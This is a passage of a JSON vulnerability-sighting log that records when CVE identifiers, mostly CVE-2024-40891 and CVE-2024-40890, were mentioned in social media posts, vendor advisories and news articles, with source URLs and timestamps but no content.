"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdt7c7plq2w", "content": "", "creation_timestamp": "2025-02-04T10:15:41.909472Z"}, {"uuid": "96187dfa-dfea-4d9f-960c-4fb4c793d16a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113945220897786957", "content": "", "creation_timestamp": "2025-02-04T10:48:12.645405Z"}, {"uuid": "d1d8c468-690a-489f-ab0c-8302b3601e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113945220952180854", "content": "", "creation_timestamp": "2025-02-04T10:48:12.823184Z"}, {"uuid": "86db4621-1e9c-4467-a0b2-0f862dc1367a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lhj2xqouhs2n", "content": "", "creation_timestamp": "2025-02-06T12:17:57.568921Z"}, {"uuid": "636a3cf4-4204-4df5-9710-79a7317e7581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lhf2uzvjnw2s", "content": "", "creation_timestamp": "2025-02-04T22:05:47.192076Z"}, {"uuid": "3e9c31e0-e130-457e-b6a3-7be52e52a1fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lhf2uzvjnw2s", "content": "", "creation_timestamp": "2025-02-04T22:05:47.308776Z"}, {"uuid": "162a58c3-e3bf-4165-942c-459d27312400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "3f2eeaa0-f93d-4216-8887-59c52f9079a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3lgvf6nio2k2q", "content": "", "creation_timestamp": "2025-01-29T16:27:34.766973Z"}, {"uuid": "c09edb28-6951-41cf-97a1-8b8c3d90194e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhdywehlaf2g", "content": "", "creation_timestamp": "2025-02-04T11:58:04.620555Z"}, {"uuid": "bc001282-f268-4b61-8e4f-af0c9b2a69e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhdywevgor2u", "content": "", "creation_timestamp": "2025-02-04T11:58:05.782332Z"}, {"uuid": "79a8ccfe-b2bf-4d12-819f-735d97749395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lgtiteaoks2h", "content": "", "creation_timestamp": "2025-01-28T22:27:29.178172Z"}, {"uuid": "9c09b195-e979-4661-9f19-335a274bf8ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40672", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908419119395905", "content": "", "creation_timestamp": "2025-01-28T22:49:01.652261Z"}, {"uuid": "90dccb55-f17d-47b8-9832-90b05562b636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40649", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908418943656102", "content": "", "creation_timestamp": "2025-01-28T22:48:58.510545Z"}, {"uuid": "ea6b1496-f6d1-4e38-b963-1cbe4d8f4908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40651", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908418987577872", "content": "", "creation_timestamp": "2025-01-28T22:48:58.773124Z"}, {"uuid": "1fa35be8-e11f-4bbd-a295-e6f699a253fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40669", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908419032371296", "content": "", "creation_timestamp": "2025-01-28T22:48:59.537373Z"}, {"uuid": "ba4f52f3-e047-4d9c-8fcc-d9f7929a7ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40677", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908419167376184", "content": "", "creation_timestamp": "2025-01-28T22:49:01.855224Z"}, {"uuid": "529d3eeb-6814-4ad2-a806-1da6018679c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40670", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908419075430756", "content": "", "creation_timestamp": "2025-01-28T22:49:02.210892Z"}, {"uuid": "f57dcd8a-8c34-4382-983b-aaab063e908f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40675", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl6zhxvh2g", "content": "", "creation_timestamp": "2025-01-28T23:09:46.790071Z"}, {"uuid": "45b795b7-f8dd-4ea4-9847-0f5755e0a015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40674", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl6zufo32y", "content": "", "creation_timestamp": "2025-01-28T23:09:47.460895Z"}, {"uuid": "51b8937f-971b-43c0-8893-2df3175d06d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40669", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl72gbes2k", "content": "", "creation_timestamp": "2025-01-28T23:09:50.494393Z"}, {"uuid": "7b6d7d07-94ac-40ec-8096-241933872ad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhi5ss4ods2i", "content": "", "creation_timestamp": "2025-02-06T03:36:15.949533Z"}, {"uuid": "fa536762-7712-468a-9551-fa6f17d72e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl6zxnau2q", "content": "", "creation_timestamp": "2025-01-28T23:09:47.979893Z"}, {"uuid": "482f68e0-b701-4932-9fd0-388fb1a2c035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40700", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhf3uwxqrn2u", "content": "", "creation_timestamp": "2025-02-04T22:23:45.623822Z"}, {"uuid": "c41ece25-56c5-486c-9ece-0f20da997e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40693", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113884039293462758", "content": "", "creation_timestamp": "2025-01-24T15:28:53.682312Z"}, {"uuid": "aee86654-4ce9-47c4-a8b1-4814e5fb3e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40706", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113884039307944877", "content": "", "creation_timestamp": "2025-01-24T15:28:53.896857Z"}, {"uuid": "076988b5-8e7c-450a-a430-e09475b7819c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40670", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl72v22l2b", "content": "", "creation_timestamp": "2025-01-28T23:09:52.588286Z"}, {"uuid": "61d6ab10-9641-47d9-a88d-649fbe0b0266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40677", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl72zu6i2h", "content": "", "creation_timestamp": "2025-01-28T23:09:53.295875Z"}, {"uuid": "ebad0e6d-e01a-49c8-87a1-4054d003409e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40672", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl735rsp2q", "content": "", "creation_timestamp": "2025-01-28T23:09:53.950339Z"}, {"uuid": "edcd967d-e685-47b7-b3cd-63499743b733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113912632267283246", "content": "", "creation_timestamp": "2025-01-29T16:40:28.354003Z"}, {"uuid": "d2c00ed0-d4b3-4cee-80c5-8327eb7749da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/albinolobster0.bsky.social/post/3lhlq52gzjs2t", "content": "", "creation_timestamp": "2025-02-07T13:42:04.485313Z"}, {"uuid": "b08c97bf-cf22-4066-933f-788ceef08f8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lgsdwgjvjk2c", "content": "", "creation_timestamp": "2025-01-28T11:27:05.534739Z"}, {"uuid": "558815c3-d0ee-4b0c-aa27-7faadf8aca4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/ntkramer.bsky.social/post/3lgvg5gw5ds2y", "content": "", "creation_timestamp": "2025-01-29T16:44:44.923265Z"}, {"uuid": "fc8cacc5-b3e9-44fe-96e2-baf70c71870a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40693", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113884352540988302", "content": "", "creation_timestamp": "2025-01-24T16:48:35.136585Z"}, {"uuid": "985ec85a-ff9c-400b-8fd7-c3e3f8a3ebec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40864", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114261130845106189", "content": "", "creation_timestamp": "2025-04-01T05:48:14.411794Z"}, {"uuid": "42488de1-2cdf-42a1-a0b4-1526361c93e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/greynoise.infosec.exchange.ap.brid.gy/post/3lgvhdxa2dsa2", "content": "", "creation_timestamp": "2025-01-29T17:06:42.618091Z"}, {"uuid": "54d7332b-95f5-478a-b0a7-a6a2c4c306ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/greynoise.bsky.social/post/3lgvhg52ba224", "content": "", "creation_timestamp": "2025-01-29T17:07:30.275771Z"}, {"uuid": "700a23c5-0cf2-43d7-a954-8b7c1b46b1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40864", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114261130845106189", "content": "", "creation_timestamp": "2025-04-01T05:48:14.398525Z"}, {"uuid": "d963efb3-c0f9-4f1e-88f2-adff49517b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40696", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh2fhwcpev2e", "content": "", "creation_timestamp": "2025-01-31T16:16:01.135801Z"}, {"uuid": "ff757c44-8199-427e-bcbd-301dcadcc601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lhh4dw23ox25", "content": "", "creation_timestamp": "2025-02-05T17:37:19.822216Z"}, {"uuid": "4df421d4-df36-4fc4-9f63-df5d43048706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lhh4dw23ox25", "content": "", "creation_timestamp": "2025-02-05T17:37:19.978180Z"}, {"uuid": "4ce7db56-1311-45b4-a302-b1958227cc8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhjybyrfu32r", "content": "", "creation_timestamp": "2025-02-06T21:02:40.433296Z"}, {"uuid": "f651723b-01cc-446a-9b87-b62f9268161d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40891", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-a910054a-1b1a0442aae5b72f", "content": "", "creation_timestamp": "2025-02-07T16:04:47.429586Z"}, {"uuid": "f700ae75-86bd-4b1f-9264-e9a96f3afa43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3lgvnplpjdf23", "content": "", "creation_timestamp": "2025-01-29T19:00:09.932843Z"}, {"uuid": "d779951e-81fe-49d5-9f70-2ce4dc9a3e40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/techit.bsky.social/post/3lguc4oreva2c", "content": "", "creation_timestamp": "2025-01-29T06:00:04.976203Z"}, {"uuid": "2096f181-a7af-4f97-be95-329664190aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3lgucdg5kq222", "content": "", "creation_timestamp": "2025-01-29T06:03:50.574176Z"}, {"uuid": "33adeee8-17f5-4e14-875a-dba45339d355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgud4pcsc22n", "content": "", "creation_timestamp": "2025-01-29T06:17:59.419989Z"}, {"uuid": "6c5b1504-88f5-4b4a-9e00-67784b9b02a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40696", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh2qmghpco2h", "content": "", "creation_timestamp": "2025-01-31T19:35:25.810365Z"}, {"uuid": "739bcc05-b4c4-4478-b285-2fdaa5ec9a41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lgud57plki2u", "content": "", "creation_timestamp": "2025-01-29T06:18:16.584899Z"}, {"uuid": "54c1eb71-8ba5-4b8b-b712-192495c96e6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113910243846976668", "content": "", "creation_timestamp": "2025-01-29T06:33:03.348251Z"}, {"uuid": "792b4b39-5740-43ae-a197-c32686885737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/rxerium.com/post/3lgvooz45zv2w", "content": "", "creation_timestamp": "2025-01-29T19:17:43.929405Z"}, {"uuid": "99cffba2-4959-4d55-8cf3-468d47b42a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40651", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113910350013612910", "content": "", "creation_timestamp": "2025-01-29T07:00:03.313204Z"}, {"uuid": "9591a571-effc-4e8e-a3ee-bab289362d0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lgxkjdluqk2n", "content": "", "creation_timestamp": "2025-01-30T13:08:18.464143Z"}, {"uuid": "16c1ff81-96da-425e-ba6c-0ab983df6f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025", "content": "", "creation_timestamp": "2025-02-05T18:20:06.022344Z"}, {"uuid": "d378bd85-e6e7-4a2f-bd5c-eb312eb891b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025", "content": "", "creation_timestamp": "2025-02-05T18:20:27.113657Z"}, {"uuid": "fd8a5444-a29e-4f58-b5c9-bc68578dc4a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://thehackernews.com/2025/01/zyxel-cpe-devices-face-active.html", "content": "", "creation_timestamp": "2025-01-29T04:11:00.000000Z"}, {"uuid": "721d88a7-1733-4389-86f9-d75b0ab12966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lguj4tvui22y", "content": "", "creation_timestamp": "2025-01-29T08:05:26.252492Z"}, {"uuid": "06a78a46-267e-44fa-874a-dcb183526f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lhfzevldgs2x", "content": "", "creation_timestamp": "2025-02-05T07:11:34.615124Z"}, {"uuid": "d53a5667-d631-4d19-af95-5ba67d7ec8ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lhfzjn2ygs2x", "content": "", "creation_timestamp": "2025-02-05T07:14:14.454673Z"}, {"uuid": "a90b511c-63b6-437a-9d96-748140a483ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3lgvt725em32u", "content": "", "creation_timestamp": "2025-01-29T20:38:17.141154Z"}, {"uuid": "2148f518-8121-4d8f-bafd-0191ea556736", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3lgvtdjjzzj2j", "content": "", "creation_timestamp": "2025-01-29T20:40:47.675140Z"}, {"uuid": "ac485e78-b755-41bc-abba-7248b95497c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3lgvtdkcxq62p", "content": "", "creation_timestamp": "2025-01-29T20:40:48.360689Z"}, {"uuid": "34b0e8e5-f241-42db-8ed5-eadd6559c4cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113946527318610149", "content": "", "creation_timestamp": "2025-02-04T16:20:25.543428Z"}, {"uuid": "badead98-caf2-4f9f-9319-f440c9a3f445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113946527318610149", "content": "", "creation_timestamp": "2025-02-04T16:20:25.589523Z"}, {"uuid": "1a9f5785-6c34-4773-b306-d75771958354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lgvuc43ecb2m", "content": "", "creation_timestamp": "2025-01-29T20:57:54.309315Z"}, {"uuid": "de3650cc-f471-4dfa-9a07-2d7a4fa61826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgvujjmysn2o", "content": "", "creation_timestamp": "2025-01-29T21:02:02.515929Z"}, {"uuid": "b959f0c7-6104-4853-83e3-7517f10c9710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40675", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgvujjp5if2c", "content": "", "creation_timestamp": "2025-01-29T21:02:03.066372Z"}, {"uuid": "d5d29110-020c-4e78-aa52-81b9972a698c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40676", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgvujjrsia2n", "content": "", "creation_timestamp": "2025-01-29T21:02:03.714760Z"}, {"uuid": "65f4f7ad-45eb-4822-a4a6-8679fa2ddf18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgvujju3ov2c", "content": "", "creation_timestamp": "2025-01-29T21:02:04.299342Z"}, {"uuid": "f4a30e6f-229f-4713-beba-550f4649aa9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://www.darkreading.com/endpoint-security/unpatched-zyxel-cpe-zero-day-cyberattackers", "content": "", "creation_timestamp": "2025-01-29T18:54:26.000000Z"}, {"uuid": "ab0e7687-45ae-478b-b1ad-4620b9a64282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lgvwbgx4zj27", "content": "", "creation_timestamp": "2025-01-29T21:33:19.873263Z"}, {"uuid": "7d298faf-e22c-451b-a4a6-9c2ba4f8911e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lgvx5kaop525", "content": "", "creation_timestamp": "2025-01-29T21:49:02.572915Z"}, {"uuid": "dbdaa67d-df7d-4e05-ac93-8c83e06d0e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3lgvxhl2q6s2d", "content": "", "creation_timestamp": "2025-01-29T21:54:41.119894Z"}, {"uuid": "c17e19a0-88de-4c0c-b9fa-b8f572e43257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113967921473760296", "content": "", "creation_timestamp": "2025-02-08T11:01:16.258253Z"}, {"uuid": "bff08738-6a3d-4d56-91d3-172498b15ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 